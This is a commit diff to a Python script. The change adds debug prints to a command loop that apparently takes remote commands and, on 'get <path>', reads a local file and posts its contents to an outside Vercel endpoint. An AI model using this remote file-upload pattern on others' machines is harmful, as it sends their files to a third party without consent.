summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authormrdog233o5 <mr.dog233o5@gmail.com>2023-09-03 13:08:15 +0800
committermrdog233o5 <mr.dog233o5@gmail.com>2023-09-03 13:08:15 +0800
commit158256724bfbe4fdd929e43c1bd19484345d318f (patch)
tree85cefef48cd0cb3a3f7432fe83db9e72419b5325
parent40b5e6ee9b0d0331e9b4bbe0beb78dac3f00da3d (diff)
cao
-rw-r--r--main.py5
1 files changed, 4 insertions, 1 deletions
diff --git a/main.py b/main.py
index 9d61955..b8d2b62 100644
--- a/main.py
+++ b/main.py
@@ -70,6 +70,7 @@ while True:
old_command = ""
continue
if command.startswith("get "):
+ print(1)
localcmd = command.split()
path = localcmd[1]
try:
@@ -79,8 +80,10 @@ while True:
open("output.txt", 'wb').write(open(str("../"+path), 'rb').read())
file = [str(path), open("output.txt", 'rb').read()]
file = "FILE " + str(file)
+ print(file)
try:
- post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file)
+ a = post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file)
+ print(a)
except:
pass
old_command = commandId